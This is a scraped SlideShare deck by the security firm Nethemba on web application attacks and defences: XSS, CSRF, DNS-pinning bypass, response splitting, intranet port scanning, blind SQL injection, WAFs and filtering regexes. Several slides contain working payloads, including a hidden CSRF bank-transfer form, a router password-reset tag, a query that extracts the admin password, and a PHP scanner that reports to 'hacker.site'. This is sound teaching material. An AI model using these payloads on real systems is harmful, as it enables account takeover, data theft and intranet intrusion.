SlideShare a Scribd company logo
1 of 28
Download to read offline
New web application
    attacks & protection
We're entering a time when XSS has become
  the new Buffer Overflow and JavaScript
       Malware is the new shell code.

                Jeremiah Grossman
                     

                                  www.nethemba.com       
                                   www.nethemba.com      
Cross Site Scripting (XSS)
●   security exploit where information from one
    context, where it is not trusted, can be inserted
    into another context, where it is (common
    javascript injection)
●   can be non-persistent (reflected) or persistent
    (stored)
●   70 % of all web applications (Jeremiah
    Grossman), 80% of all web applications
    (Rsnake) are vulnerable to the XSS attack
                            

                                             www.nethemba.com       
Universal Cross Site Scripting (UXSS)
●exploits browser's vulnerabilities instead of XSS
vulnerabilities of insecure web sites
●Acrobat Reader plugin is vulnerable to UXSS in
#FDF, #XML, #XFDF parameters
http://site/file.pdf#FDF=javascript:alert...
●Universal CSRF / session riding is possible
http://site.com/file.pdf#FDF=http://host.com/
●Possible Remote Code Execution (the memory
overflow in FDF=javascript:document.write)
                         

                                          www.nethemba.com       
Cross Site Request Forgery (CSRF)
●   “session riding” - a client side attack that
    exploits implicit authentication mechanisms
●   the attacker forces the victim's browser to
    create http requests to restricted resources
●   this can be done without the victim's notice
    (using iframes)
●   trigger for CSFR can be an XSS vulnerability or
    a social engineering trick (sending a mail with
 
    malicious URL)
                            

                                            www.nethemba.com       
Same Origin Policy (SOP)
●   defines and limits various rights of JavaScript
●   script can communicate only with its origin host
    (not with arbitrary http hosts)
●   but there is an exception – the script can
    dynamically include elements like images from
    foreign (cross domain) hosts into the DOM tree
    of the document that contains JavaScript (this
    fact can be exploited for malicious purposes,
    e.g. portscanning)
                              

                                              www.nethemba.com       
CSRF feasibility I.
●       HTTP GET requests can be easily injected
        using <img>, <script> or <iframe> element
●       <img src=”http://your_home_router/setup.cgi?
        your_new_password=”hacked”/>
●       <script src=”http://your_home_router/setup.cgi?
        reset_configuration=”1”
        type=”text/javascript”></script>
●       <iframe src=”http://freemail.com/sendmail.cgi?
     
        to=spam_address&mesage=””></iframe>
                                

                                               www.nethemba.com       
CSRF feasibility II.
●       HTTP POST requests can be easily injected
        using HTML forms:
        <body onload=”document.CSRF.submit()”>
        <form name=”CSRF” method=”post”
        action=”https://your_favourite_bank”
        style=”display:none”>
        <input name=”my_account” value=”123456”/>
        <input name=”your_acount” value=”654321”/>
        <input name=”amount” value=”1000000”/>
        </form>
        </body>                  

                                            www.nethemba.com       
CSRF feasibility III.
●       HTTP POSTs can be injected also using AJAX
        if (!xmlhttp && typeof
        XMLHttpRequest!='undefined') { try
        { xmlhtttp = new XMLHttpRequest(); }
        catch (e) { xmlhttp=false; }
        xmlhttp.open(“POST”, “/”, true);
        xmlhttp.setRequestHeader(“Header”,”Value”);
        ...
        xmlhttp.send(“data”);
        xmlhttp.close();
                              

                                             www.nethemba.com       
XSS / CSRF impact I.
●   session stealing
●   bruteforce basic auth credentials
●   scan for available browser extensions
●   bruteforce visited resources
●   network sweeper / portscanner
●   fingerprinting of intranet hosts
●   request builder / google Search
                               

                                             www.nethemba.com       
XSS / CSRF impact II.
●   Attacking intranet servers (exploiting unpatched
    vulnerabilities, opening home networks, leaking
    intranet content)
●   The complete control over CSRF-vulnerable
    websites (which do not implement CSRF
    countermeasures)
●   There is a possibility to break the same-origin
    policy by undermining DNS pinning!!!
                              

                                              www.nethemba.com       
Breaking the same-origin policy
by undermining DNS-pinning I.
●       the victim loads the script from www.attacker.org
●       the attacker changes the DNS entry of
        www.attacker.org to 10.10.10.10
●       the attacker also quits the web server that was
        running (or add a dynamic firewall rule to reject
        further connections)
●       the script uses a timed event (setIntervall or
        setTimeout) to load a web page from
        www.attacker.org          

                                                    www.nethemba.com       
Breaking the same-origin policy
by undermining DNS pinning II.
●       the web browser tries to connect the IP which is
        bound to www.attacker.org from the previous
        request – this connection attempt is rejected
●       because the connection was rejected, the
        browsers drops the DNS pinning and does a
        new DNS lookup request, resulting in
        10.10.10.10
●       the script is now able to access the intranet
     
        server's content and leak it to the outside!!!
                                  

                                                  www.nethemba.com       
Prototype Hijacking
●       JavaScript methods (e.g. XMLHttpRequest) can
        be easily cloned – every cloned object will be a
        wrapper clone and not a clone of the original
        one
●       var xmlreqc = XMLHttpRequest;
        XMLHttpRequest = function() {
        this.xml = new xmlreqc(); return this; }
●       MITM is possible (it is possible to dynamically
        intercept all data or modify it by using any
        function)                 

                                                  www.nethemba.com       
Cache poisoning / HTTP
              Response splitting
●       with CRLF injection it is possible to force a cache
        device (proxy) to cache the crafted poisoned
        requests as opposed to real data
●       this is done via the use of 3 manually set headers
        (“Last-Modified”, “Cache-Control”, “Pragma”)
●       GET
        /resp_split.php?page=http://site%0d%0aHTTP/1.1
        %20%20%20OK%0d%0aLast-
        modified:%20Sun,%2030%20Aug%202020%2023:
        59:59%20GMT%0d%aContent-Type.....
                                 

                                                   www.nethemba.com       
Portscanning the intranet I.
●       using Javascript (the script can include images,
        iframes, remote scripts, ..) - time-out functions and
        eventhandlers (onload/onerror) are used to
        determine if the host exist and the given port is
        open – but we need to know an IP range to scan)
●       java-applet can be used to obtain the IP address
        (IP range) of the computer that currently executes
        the web browser
●       fingerprinting is also possible (by requesting URLs
        that are specific for a specific device, server or
        application)                

                                                    www.nethemba.com       
Portscanning the intranet II.
●       without Javascript
        for ($i = 1; $i < 256; $i++) { echo ' <p>testing ip
        <b>192.168.1.'.$i.'</b></p>
        <link rel=”stylesheet” type=”text/css”
        href=”http://192.168.1.'.$i.'/'”/>
        <img src=”http://hacker.site/scan.php?
        ip=192.168.1.'.$i.'&s='.time().' />'; flush ();
        sleep(3); }
●       the page loading would wait for the <link> tag to
        be processed before rendering the rest of page
                               

                                                  www.nethemba.com       
Portscanning the intranet III.

●   using “Socket” in flash browser plugin
●   from Flash documentation: “The socket class
    enables ActionScript code to make socket
    connections and to read and write data.”



                            

                                           www.nethemba.com       
Blind SQL injection I.
●   SQL injection when the application does not
    return error messages
●   But
    http://www.thecompany.com/script?articleID=3
    AND 1=1 returns different answer than
    http://www.thecompany.com/script?articleID=3
    AND 1=0
●   we use this behavior to ask the database server
 
    only true/false questions !
                           

                                          www.nethemba.com       
Blind SQL injection II.
●    http://www.thecompany.com/script?articleID=3
     AND ascii(lower(substring(SELECT
     user_password FROM user WHERE
     user_name='admin'),1,1)) = 111
●    To avoid using of apostrophes we can use
     hexadecimal representation ('admin' =
     0x61646D696E, 'root' = 0x726F6F74,
     'administrator' =
     0x61646D696E6973747261746F72
●    Blind SQL injection can  be fully automatized
                                             www.nethemba.com       
Blind SQL Injection III.
●       what if it is not possible to find a difference with
        two conditions?
●       we use TIME DELAY technique!
●       SELECT IF (user='root'),
        BENCHMARK(1000000,MD5 ('x')),NULL)
        FROM user
●       it can be slow, but works!
                                  

                                                   www.nethemba.com       
Cross Site Scripting (XSS) protection
●    encode (HTML quote) all user-supplied HTML
     special characters, thereby preventing them
     from being interpreted as HTML
●    filter all user-suplied HTML metacharacters
     (snort regexp /((%3C)|<)[^n]+((%3E)|>)/i)
●    tie session cookies to the IP address of the user
     who originally logged (anti-stealing protection) –
     not sufficient where the attacker is behind the
     same NAT IP
●    disable JavaScript (client-side) scripts
                              

                                              www.nethemba.com       
Cross Site Request Forgery (CSRF) protection
●    switching from a persistent authentication method
     (e.g.cookie or HTTP auth) to a transient
     authentication (e.g. hidden field provided on every
     form)
●    include a secret, user-specific token in forms that is
     verified in addition to the cookie
●    “double submit” cookies (AJAX)
●    using Captcha (Completely Automated Public
     Turing test to tell Computers and Humans Apart)
●    using e-mail or SMS verification
                               

                                                 www.nethemba.com       
SQL injection protection I.
●       filter all user supplied metacharacters (the
        single quote (') or the double-dash (--), snort
        regexp /((%3D)|(=))[^n]*((%27)|(')|(--)|
        (%3B)|(;))/i – DBI::quote in perl,
        mysql_real_escape_string in PHP
●       bind sql parameters to the SQL query via APIs
        (DBI::prepare in Perl, mysql_stmt_bind_param
        in PHP, PreparedStatement class in Java,
        .AddWithValue in C#)  
                                                  www.nethemba.com       
SQL injection protection II.
●   “the least-privilege” concept for all
    tables/databases
●   using stored procedures (user input is filtered by
    parameterizing input parameters, an application
    would have execute access to a stored
    procedure, but no access to the base tables)
●   rather than blacklisting known bad input, is to
    only allow (whitelisting) known good input
                              

                                                 www.nethemba.com       
Web Application Firewalls (WAFs)
●       when you choose your WAF read
        http://www.webappsec.org/projects/wafec/
●       mod_security (perhaps the best opensource
        WAF, strongly recommended)
●       URLscan (Microsoft IIS ISAPI filter)
●       commercial products (NGSecureWeb,
        SecureIIS, Teros, TrafficShield from F5,
        SingleKey, Profense, NC-2000, iSecureWeb,
     
        Interdo from Kavado, BreachGate WebDefend)
                                

                                                www.nethemba.com       
References I.
●       Martin Johns: “A First Approach to Counter
        “JavaScript Malware”
●       Stefano Di Paola: “Subverting AJAX”
●       Illia Alshanetsky: “Networking Scanning with
        HTTP without JavaScript”
●       http://www.gnucitizen.org
●       http://www.jumperz.net
●       http://polyboy.net/xss/dnsslurp.html
                                  

                                                www.nethemba.com       
References II.
●       http://www.spidynamics.com/whitepapers/Blind_SQ
●       http://en.wikipedia.org/wiki/Cross-site_request_forge
●       http://en.wikipedia.org/wiki/Cross_site_scripting
        blind SQL injection tools:
●       http://sqlmap.sourceforge.net
●       http://www.sqlpowerinjector.com
●       http://reversing.org/node/view/11/
                                 

                                                  www.nethemba.com       
Thank you for listening!
    Ing. Pavol Lupták, CISSP, CEH
        nethemba@nethemba.com


                   

                                  www.nethemba.com       

More Related Content

What's hot

Xss is more than a simple threat
Xss is more than a simple threatXss is more than a simple threat
Xss is more than a simple threatAvădănei Andrei
 
HTTP Security Headers Every Java Developer Must Know
HTTP Security Headers Every Java Developer Must KnowHTTP Security Headers Every Java Developer Must Know
HTTP Security Headers Every Java Developer Must KnowAyoma Wijethunga
 
Protecting Java EE Web Apps with Secure HTTP Headers
Protecting Java EE Web Apps with Secure HTTP HeadersProtecting Java EE Web Apps with Secure HTTP Headers
Protecting Java EE Web Apps with Secure HTTP HeadersFrank Kim
 
Flash умер. Да здравствует Flash!
Flash умер. Да здравствует Flash!Flash умер. Да здравствует Flash!
Flash умер. Да здравствует Flash!Positive Hack Days
 
Modern Web Application Defense
Modern Web Application DefenseModern Web Application Defense
Modern Web Application DefenseFrank Kim
 
Top Ten Web Hacking Techniques of 2012
Top Ten Web Hacking Techniques of 2012Top Ten Web Hacking Techniques of 2012
Top Ten Web Hacking Techniques of 2012Jeremiah Grossman
 
Mitigating CSRF with two lines of codes
Mitigating CSRF with two lines of codesMitigating CSRF with two lines of codes
Mitigating CSRF with two lines of codesMinhaz A V
 
Django Web Application Security
Django Web Application SecurityDjango Web Application Security
Django Web Application Securitylevigross
 
Hack Into Drupal Sites (or, How to Secure Your Drupal Site)
Hack Into Drupal Sites (or, How to Secure Your Drupal Site)Hack Into Drupal Sites (or, How to Secure Your Drupal Site)
Hack Into Drupal Sites (or, How to Secure Your Drupal Site)nyccamp
 
Case Study of Django: Web Frameworks that are Secure by Default
Case Study of Django: Web Frameworks that are Secure by DefaultCase Study of Django: Web Frameworks that are Secure by Default
Case Study of Django: Web Frameworks that are Secure by DefaultMohammed ALDOUB
 
Drivesploit: Circumventing Both Automated AND Manual Drive-By-Download Detection
Drivesploit: Circumventing Both Automated AND Manual Drive-By-Download DetectionDrivesploit: Circumventing Both Automated AND Manual Drive-By-Download Detection
Drivesploit: Circumventing Both Automated AND Manual Drive-By-Download DetectionWayne Huang
 
Web Application Security in front end
Web Application Security in front endWeb Application Security in front end
Web Application Security in front endErlend Oftedal
 
Java EE 6 Security in practice with GlassFish
Java EE 6 Security in practice with GlassFishJava EE 6 Security in practice with GlassFish
Java EE 6 Security in practice with GlassFishMarkus Eisele
 
Same Origin Policy Weaknesses
Same Origin Policy WeaknessesSame Origin Policy Weaknesses
Same Origin Policy Weaknesseskuza55
 
Practical django secuirty
Practical django secuirtyPractical django secuirty
Practical django secuirtyAndy Dai
 
Django (Web Applications that are Secure by Default)
Django �(Web Applications that are Secure by Default�)Django �(Web Applications that are Secure by Default�)
Django (Web Applications that are Secure by Default)Kishor Kumar
 
Top Ten Web Hacking Techniques (2008)
Top Ten Web Hacking Techniques (2008)Top Ten Web Hacking Techniques (2008)
Top Ten Web Hacking Techniques (2008)Jeremiah Grossman
 
Java script, security and you - Tri-Cities Javascript Developers Group
Java script, security and you - Tri-Cities Javascript Developers GroupJava script, security and you - Tri-Cities Javascript Developers Group
Java script, security and you - Tri-Cities Javascript Developers GroupAdam Caudill
 

What's hot (20)

Xss is more than a simple threat
Xss is more than a simple threatXss is more than a simple threat
Xss is more than a simple threat
 
HTTP Security Headers Every Java Developer Must Know
HTTP Security Headers Every Java Developer Must KnowHTTP Security Headers Every Java Developer Must Know
HTTP Security Headers Every Java Developer Must Know
 
Protecting Java EE Web Apps with Secure HTTP Headers
Protecting Java EE Web Apps with Secure HTTP HeadersProtecting Java EE Web Apps with Secure HTTP Headers
Protecting Java EE Web Apps with Secure HTTP Headers
 
Flash умер. Да здравствует Flash!
Flash умер. Да здравствует Flash!Flash умер. Да здравствует Flash!
Flash умер. Да здравствует Flash!
 
Modern Web Application Defense
Modern Web Application DefenseModern Web Application Defense
Modern Web Application Defense
 
Top Ten Web Hacking Techniques of 2012
Top Ten Web Hacking Techniques of 2012Top Ten Web Hacking Techniques of 2012
Top Ten Web Hacking Techniques of 2012
 
Mitigating CSRF with two lines of codes
Mitigating CSRF with two lines of codesMitigating CSRF with two lines of codes
Mitigating CSRF with two lines of codes
 
Django Web Application Security
Django Web Application SecurityDjango Web Application Security
Django Web Application Security
 
Hack Into Drupal Sites (or, How to Secure Your Drupal Site)
Hack Into Drupal Sites (or, How to Secure Your Drupal Site)Hack Into Drupal Sites (or, How to Secure Your Drupal Site)
Hack Into Drupal Sites (or, How to Secure Your Drupal Site)
 
Web Application Security
Web Application SecurityWeb Application Security
Web Application Security
 
Case Study of Django: Web Frameworks that are Secure by Default
Case Study of Django: Web Frameworks that are Secure by DefaultCase Study of Django: Web Frameworks that are Secure by Default
Case Study of Django: Web Frameworks that are Secure by Default
 
Drivesploit: Circumventing Both Automated AND Manual Drive-By-Download Detection
Drivesploit: Circumventing Both Automated AND Manual Drive-By-Download DetectionDrivesploit: Circumventing Both Automated AND Manual Drive-By-Download Detection
Drivesploit: Circumventing Both Automated AND Manual Drive-By-Download Detection
 
Web Application Security in front end
Web Application Security in front endWeb Application Security in front end
Web Application Security in front end
 
Java EE 6 Security in practice with GlassFish
Java EE 6 Security in practice with GlassFishJava EE 6 Security in practice with GlassFish
Java EE 6 Security in practice with GlassFish
 
Same Origin Policy Weaknesses
Same Origin Policy WeaknessesSame Origin Policy Weaknesses
Same Origin Policy Weaknesses
 
Practical django secuirty
Practical django secuirtyPractical django secuirty
Practical django secuirty
 
Django (Web Applications that are Secure by Default)
Django �(Web Applications that are Secure by Default�)Django �(Web Applications that are Secure by Default�)
Django (Web Applications that are Secure by Default)
 
Top Ten Web Hacking Techniques (2008)
Top Ten Web Hacking Techniques (2008)Top Ten Web Hacking Techniques (2008)
Top Ten Web Hacking Techniques (2008)
 
Web vulnerabilities
Web vulnerabilitiesWeb vulnerabilities
Web vulnerabilities
 
Java script, security and you - Tri-Cities Javascript Developers Group
Java script, security and you - Tri-Cities Javascript Developers GroupJava script, security and you - Tri-Cities Javascript Developers Group
Java script, security and you - Tri-Cities Javascript Developers Group
 

Similar to New web attacks-nethemba

Security Best Practices for Bot Builders
Security Best Practices for Bot BuildersSecurity Best Practices for Bot Builders
Security Best Practices for Bot BuildersMax Feldman
 
Insecurity-In-Security version.1 (2010)
Insecurity-In-Security version.1 (2010)Insecurity-In-Security version.1 (2010)
Insecurity-In-Security version.1 (2010)Abhishek Kumar
 
W3 conf hill-html5-security-realities
W3 conf hill-html5-security-realitiesW3 conf hill-html5-security-realities
W3 conf hill-html5-security-realitiesBrad Hill
 
Introduction to Web Application Security - Blackhoodie US 2018
Introduction to Web Application Security - Blackhoodie US 2018Introduction to Web Application Security - Blackhoodie US 2018
Introduction to Web Application Security - Blackhoodie US 2018Niranjanaa Ragupathy
 
Postcards from the post xss world- content exfiltration null
Postcards from the post xss world- content exfiltration nullPostcards from the post xss world- content exfiltration null
Postcards from the post xss world- content exfiltration nullPiyush Pattanayak
 
Introduction to Cross Site Scripting ( XSS )
Introduction to Cross Site Scripting ( XSS )Introduction to Cross Site Scripting ( XSS )
Introduction to Cross Site Scripting ( XSS )Irfad Imtiaz
 
Hacking Client Side Insecurities
Hacking Client Side InsecuritiesHacking Client Side Insecurities
Hacking Client Side Insecuritiesamiable_indian
 
Krzysztof Kotowicz - Hacking HTML5
Krzysztof Kotowicz - Hacking HTML5Krzysztof Kotowicz - Hacking HTML5
Krzysztof Kotowicz - Hacking HTML5DefconRussia
 
DVWA BruCON Workshop
DVWA BruCON WorkshopDVWA BruCON Workshop
DVWA BruCON Workshoptestuser1223
 
Web security: Securing untrusted web content at browsers
Web security: Securing untrusted web content at browsersWeb security: Securing untrusted web content at browsers
Web security: Securing untrusted web content at browsersPhú Phùng
 
Rich Web App Security - Keeping your application safe
Rich Web App Security - Keeping your application safeRich Web App Security - Keeping your application safe
Rich Web App Security - Keeping your application safeJeremiah Grossman
 
Everybody loves html5,h4ck3rs too
Everybody loves html5,h4ck3rs tooEverybody loves html5,h4ck3rs too
Everybody loves html5,h4ck3rs tooNahidul Kibria
 
Phu appsec13
Phu appsec13Phu appsec13
Phu appsec13drewz lin
 
Browser Hacking For Fun and Profit | Null Bangalore Meetup 2019 | Divyanshu S...
Browser Hacking For Fun and Profit | Null Bangalore Meetup 2019 | Divyanshu S...Browser Hacking For Fun and Profit | Null Bangalore Meetup 2019 | Divyanshu S...
Browser Hacking For Fun and Profit | Null Bangalore Meetup 2019 | Divyanshu S...Divyanshu
 
Neoito — Secure coding practices
Neoito — Secure coding practicesNeoito — Secure coding practices
Neoito — Secure coding practicesNeoito
 
bh-usa-07-grossman-WP.pdf
bh-usa-07-grossman-WP.pdfbh-usa-07-grossman-WP.pdf
bh-usa-07-grossman-WP.pdfcyberhacker7
 

Similar to New web attacks-nethemba (20)

Security Best Practices for Bot Builders
Security Best Practices for Bot BuildersSecurity Best Practices for Bot Builders
Security Best Practices for Bot Builders
 
Building Client-Side Attacks with HTML5 Features
Building Client-Side Attacks with HTML5 FeaturesBuilding Client-Side Attacks with HTML5 Features
Building Client-Side Attacks with HTML5 Features
 
Insecurity-In-Security version.1 (2010)
Insecurity-In-Security version.1 (2010)Insecurity-In-Security version.1 (2010)
Insecurity-In-Security version.1 (2010)
 
W3 conf hill-html5-security-realities
W3 conf hill-html5-security-realitiesW3 conf hill-html5-security-realities
W3 conf hill-html5-security-realities
 
Introduction to Web Application Security - Blackhoodie US 2018
Introduction to Web Application Security - Blackhoodie US 2018Introduction to Web Application Security - Blackhoodie US 2018
Introduction to Web Application Security - Blackhoodie US 2018
 
Postcards from the post xss world- content exfiltration null
Postcards from the post xss world- content exfiltration nullPostcards from the post xss world- content exfiltration null
Postcards from the post xss world- content exfiltration null
 
The Same-Origin Policy
The Same-Origin PolicyThe Same-Origin Policy
The Same-Origin Policy
 
Introduction to Cross Site Scripting ( XSS )
Introduction to Cross Site Scripting ( XSS )Introduction to Cross Site Scripting ( XSS )
Introduction to Cross Site Scripting ( XSS )
 
Secure coding in C#
Secure coding in C#Secure coding in C#
Secure coding in C#
 
Hacking Client Side Insecurities
Hacking Client Side InsecuritiesHacking Client Side Insecurities
Hacking Client Side Insecurities
 
Krzysztof Kotowicz - Hacking HTML5
Krzysztof Kotowicz - Hacking HTML5Krzysztof Kotowicz - Hacking HTML5
Krzysztof Kotowicz - Hacking HTML5
 
DVWA BruCON Workshop
DVWA BruCON WorkshopDVWA BruCON Workshop
DVWA BruCON Workshop
 
Web security: Securing untrusted web content at browsers
Web security: Securing untrusted web content at browsersWeb security: Securing untrusted web content at browsers
Web security: Securing untrusted web content at browsers
 
Rich Web App Security - Keeping your application safe
Rich Web App Security - Keeping your application safeRich Web App Security - Keeping your application safe
Rich Web App Security - Keeping your application safe
 
Everybody loves html5,h4ck3rs too
Everybody loves html5,h4ck3rs tooEverybody loves html5,h4ck3rs too
Everybody loves html5,h4ck3rs too
 
Sanjeev ghai 12
Sanjeev ghai 12Sanjeev ghai 12
Sanjeev ghai 12
 
Phu appsec13
Phu appsec13Phu appsec13
Phu appsec13
 
Browser Hacking For Fun and Profit | Null Bangalore Meetup 2019 | Divyanshu S...
Browser Hacking For Fun and Profit | Null Bangalore Meetup 2019 | Divyanshu S...Browser Hacking For Fun and Profit | Null Bangalore Meetup 2019 | Divyanshu S...
Browser Hacking For Fun and Profit | Null Bangalore Meetup 2019 | Divyanshu S...
 
Neoito — Secure coding practices
Neoito — Secure coding practicesNeoito — Secure coding practices
Neoito — Secure coding practices
 
bh-usa-07-grossman-WP.pdf
bh-usa-07-grossman-WP.pdfbh-usa-07-grossman-WP.pdf
bh-usa-07-grossman-WP.pdf
 

More from OWASP (Open Web Application Security Project) (12)

Paralelni polisweb
Paralelni poliswebParalelni polisweb
Paralelni polisweb
 
Nethemba - Writing exploits
Nethemba - Writing exploitsNethemba - Writing exploits
Nethemba - Writing exploits
 
Preco sa rozhodnut pre spolocnost Nethemba
Preco sa rozhodnut pre spolocnost NethembaPreco sa rozhodnut pre spolocnost Nethemba
Preco sa rozhodnut pre spolocnost Nethemba
 
Planning the OWASP Testing Guide v4
Planning the OWASP Testing Guide v4Planning the OWASP Testing Guide v4
Planning the OWASP Testing Guide v4
 
Bypassing Web Application Firewalls
Bypassing Web Application FirewallsBypassing Web Application Firewalls
Bypassing Web Application Firewalls
 
Sms ticket-hack4
Sms ticket-hack4Sms ticket-hack4
Sms ticket-hack4
 
Php sec
Php secPhp sec
Php sec
 
Nove trendy-zranitelnosti
Nove trendy-zranitelnostiNove trendy-zranitelnosti
Nove trendy-zranitelnosti
 
Nethemba profil
Nethemba profilNethemba profil
Nethemba profil
 
Mifare classic-slides
Mifare classic-slidesMifare classic-slides
Mifare classic-slides
 
1.nove trendy-zranitelnosti luptak
1.nove trendy-zranitelnosti luptak1.nove trendy-zranitelnosti luptak
1.nove trendy-zranitelnosti luptak
 
Nethemba profil
Nethemba profilNethemba profil
Nethemba profil
 

Recently uploaded

DevEX - reference for building teams, processes, and platforms
DevEX - reference for building teams, processes, and platformsDevEX - reference for building teams, processes, and platforms
DevEX - reference for building teams, processes, and platformsSergiu Bodiu
 
New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024BookNet Canada
 
New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024
New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024
New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024BookNet Canada
 
Digital Identity is Under Attack: FIDO Paris Seminar.pptx
Digital Identity is Under Attack: FIDO Paris Seminar.pptxDigital Identity is Under Attack: FIDO Paris Seminar.pptx
Digital Identity is Under Attack: FIDO Paris Seminar.pptxLoriGlavin3
 
Artificial intelligence in cctv survelliance.pptx
Artificial intelligence in cctv survelliance.pptxArtificial intelligence in cctv survelliance.pptx
Artificial intelligence in cctv survelliance.pptxhariprasad279825
 
Moving Beyond Passwords: FIDO Paris Seminar.pdf
Moving Beyond Passwords: FIDO Paris Seminar.pdfMoving Beyond Passwords: FIDO Paris Seminar.pdf
Moving Beyond Passwords: FIDO Paris Seminar.pdfLoriGlavin3
 
DevoxxFR 2024 Reproducible Builds with Apache Maven
DevoxxFR 2024 Reproducible Builds with Apache MavenDevoxxFR 2024 Reproducible Builds with Apache Maven
DevoxxFR 2024 Reproducible Builds with Apache MavenHervé Boutemy
 
Unraveling Multimodality with Large Language Models.pdf
Unraveling Multimodality with Large Language Models.pdfUnraveling Multimodality with Large Language Models.pdf
Unraveling Multimodality with Large Language Models.pdfAlex Barbosa Coqueiro
 
SIP trunking in Janus @ Kamailio World 2024
SIP trunking in Janus @ Kamailio World 2024SIP trunking in Janus @ Kamailio World 2024
SIP trunking in Janus @ Kamailio World 2024Lorenzo Miniero
 
Generative AI for Technical Writer or Information Developers
Generative AI for Technical Writer or Information DevelopersGenerative AI for Technical Writer or Information Developers
Generative AI for Technical Writer or Information DevelopersRaghuram Pandurangan
 
TrustArc Webinar - How to Build Consumer Trust Through Data Privacy
TrustArc Webinar - How to Build Consumer Trust Through Data PrivacyTrustArc Webinar - How to Build Consumer Trust Through Data Privacy
TrustArc Webinar - How to Build Consumer Trust Through Data PrivacyTrustArc
 
"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek Schlawack
"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek Schlawack"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek Schlawack
"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek SchlawackFwdays
 
The State of Passkeys with FIDO Alliance.pptx
The State of Passkeys with FIDO Alliance.pptxThe State of Passkeys with FIDO Alliance.pptx
The State of Passkeys with FIDO Alliance.pptxLoriGlavin3
 
Gen AI in Business - Global Trends Report 2024.pdf
Gen AI in Business - Global Trends Report 2024.pdfGen AI in Business - Global Trends Report 2024.pdf
Gen AI in Business - Global Trends Report 2024.pdfAddepto
 
What is Artificial Intelligence?????????
What is Artificial Intelligence?????????What is Artificial Intelligence?????????
What is Artificial Intelligence?????????blackmambaettijean
 
Take control of your SAP testing with UiPath Test Suite
Take control of your SAP testing with UiPath Test SuiteTake control of your SAP testing with UiPath Test Suite
Take control of your SAP testing with UiPath Test SuiteDianaGray10
 
The Role of FIDO in a Cyber Secure Netherlands: FIDO Paris Seminar.pptx
The Role of FIDO in a Cyber Secure Netherlands: FIDO Paris Seminar.pptxThe Role of FIDO in a Cyber Secure Netherlands: FIDO Paris Seminar.pptx
The Role of FIDO in a Cyber Secure Netherlands: FIDO Paris Seminar.pptxLoriGlavin3
 
Merck Moving Beyond Passwords: FIDO Paris Seminar.pptx
Merck Moving Beyond Passwords: FIDO Paris Seminar.pptxMerck Moving Beyond Passwords: FIDO Paris Seminar.pptx
Merck Moving Beyond Passwords: FIDO Paris Seminar.pptxLoriGlavin3
 
How AI, OpenAI, and ChatGPT impact business and software.
How AI, OpenAI, and ChatGPT impact business and software.How AI, OpenAI, and ChatGPT impact business and software.
How AI, OpenAI, and ChatGPT impact business and software.Curtis Poe
 
Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)
Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)
Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)Mark Simos
 

Recently uploaded (20)

DevEX - reference for building teams, processes, and platforms
DevEX - reference for building teams, processes, and platformsDevEX - reference for building teams, processes, and platforms
DevEX - reference for building teams, processes, and platforms
 
New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
 
New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024
New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024
New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024
 
Digital Identity is Under Attack: FIDO Paris Seminar.pptx
Digital Identity is Under Attack: FIDO Paris Seminar.pptxDigital Identity is Under Attack: FIDO Paris Seminar.pptx
Digital Identity is Under Attack: FIDO Paris Seminar.pptx
 
Artificial intelligence in cctv survelliance.pptx
Artificial intelligence in cctv survelliance.pptxArtificial intelligence in cctv survelliance.pptx
Artificial intelligence in cctv survelliance.pptx
 
Moving Beyond Passwords: FIDO Paris Seminar.pdf
Moving Beyond Passwords: FIDO Paris Seminar.pdfMoving Beyond Passwords: FIDO Paris Seminar.pdf
Moving Beyond Passwords: FIDO Paris Seminar.pdf
 
DevoxxFR 2024 Reproducible Builds with Apache Maven
DevoxxFR 2024 Reproducible Builds with Apache MavenDevoxxFR 2024 Reproducible Builds with Apache Maven
DevoxxFR 2024 Reproducible Builds with Apache Maven
 
Unraveling Multimodality with Large Language Models.pdf
Unraveling Multimodality with Large Language Models.pdfUnraveling Multimodality with Large Language Models.pdf
Unraveling Multimodality with Large Language Models.pdf
 
SIP trunking in Janus @ Kamailio World 2024
SIP trunking in Janus @ Kamailio World 2024SIP trunking in Janus @ Kamailio World 2024
SIP trunking in Janus @ Kamailio World 2024
 
Generative AI for Technical Writer or Information Developers
Generative AI for Technical Writer or Information DevelopersGenerative AI for Technical Writer or Information Developers
Generative AI for Technical Writer or Information Developers
 
TrustArc Webinar - How to Build Consumer Trust Through Data Privacy
TrustArc Webinar - How to Build Consumer Trust Through Data PrivacyTrustArc Webinar - How to Build Consumer Trust Through Data Privacy
TrustArc Webinar - How to Build Consumer Trust Through Data Privacy
 
"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek Schlawack
"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek Schlawack"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek Schlawack
"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek Schlawack
 
The State of Passkeys with FIDO Alliance.pptx
The State of Passkeys with FIDO Alliance.pptxThe State of Passkeys with FIDO Alliance.pptx
The State of Passkeys with FIDO Alliance.pptx
 
Gen AI in Business - Global Trends Report 2024.pdf
Gen AI in Business - Global Trends Report 2024.pdfGen AI in Business - Global Trends Report 2024.pdf
